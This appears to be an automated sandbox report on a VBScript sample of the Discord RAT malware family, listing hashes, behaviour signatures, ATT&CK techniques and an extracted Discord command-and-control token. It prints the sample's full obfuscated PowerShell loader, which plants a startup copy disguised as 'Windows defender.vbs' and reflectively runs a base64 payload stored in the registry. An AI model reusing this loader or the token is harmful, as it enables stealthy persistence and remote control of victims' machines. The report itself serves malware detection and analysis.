Analysis

  • max time kernel
    93s
  • max time network
    100s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-07-2024 19:32

General

  • Target

    9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016.vbs

  • Size

    105KB

  • MD5

    2502518aa797758d68760e5c46f4fd85

  • SHA1

    27f0b73cea1441a772d9635e4f95441ec754549c

  • SHA256

    9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016

  • SHA512

    59ac66961c7a9945d2c3d062662a8e3fe2161d6498a994404261432f62d0af9df35d94900e302da6cfaa5daf8eb1130a83be88fa4c9f874073519341b84cfbae

  • SSDEEP

    1536:BF67GmLWRSsyLZ6Tt1fk9umda0otZHe7GcAthbTmtDFsyCV1XqFv6Z9Ho4TUYj+R:z677LKvfzftUaHvHQwh6IeyRu

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTI0NzY0ODI3NjkwNDI4NDIxMQ.GeRPhp.MDSXGRuUn2u8gLfs_a8HNeOahYRKGQaJRsgUWw

  • server_id

    1247801636122787851

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1500
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows defender.vbs'; $disagreements = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $disagreements = -join $disagreements[-1..-$disagreements.Length];[<##>AppDomain<##>]::<##>('compositionurrentDomain'.replace('composition','C'))<##>.<##>('Switzerlandoad'.replace('Switzerland','L'))([Convert]::FromBase64String($disagreements))<##>.<##>('taeniacidentryPoint'.replace('taeniacide','E'))<##>.<##>('Inlumpyoke'.replace('lumpy','v'))($Null,$Null)<##>;
      2⤵
      • Drops startup file
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4616

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2cgdot1p.frs.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4616-0-0x00007FF958F83000-0x00007FF958F85000-memory.dmp
    Filesize

    8KB

  • memory/4616-10-0x000001BABBEC0000-0x000001BABBEE2000-memory.dmp
    Filesize

    136KB

  • memory/4616-11-0x000001BABE240000-0x000001BABE284000-memory.dmp
    Filesize

    272KB

  • memory/4616-13-0x000001BABBF10000-0x000001BABBF28000-memory.dmp
    Filesize

    96KB

  • memory/4616-14-0x00007FF958F80000-0x00007FF959A41000-memory.dmp
    Filesize

    10.8MB

  • memory/4616-15-0x00007FF958F80000-0x00007FF959A41000-memory.dmp
    Filesize

    10.8MB

  • memory/4616-16-0x00007FF958F80000-0x00007FF959A41000-memory.dmp
    Filesize

    10.8MB

  • memory/4616-17-0x000001BABE530000-0x000001BABE5A6000-memory.dmp
    Filesize

    472KB

  • memory/4616-19-0x00007FF958F83000-0x00007FF958F85000-memory.dmp
    Filesize

    8KB

  • memory/4616-20-0x00007FF958F80000-0x00007FF959A41000-memory.dmp
    Filesize

    10.8MB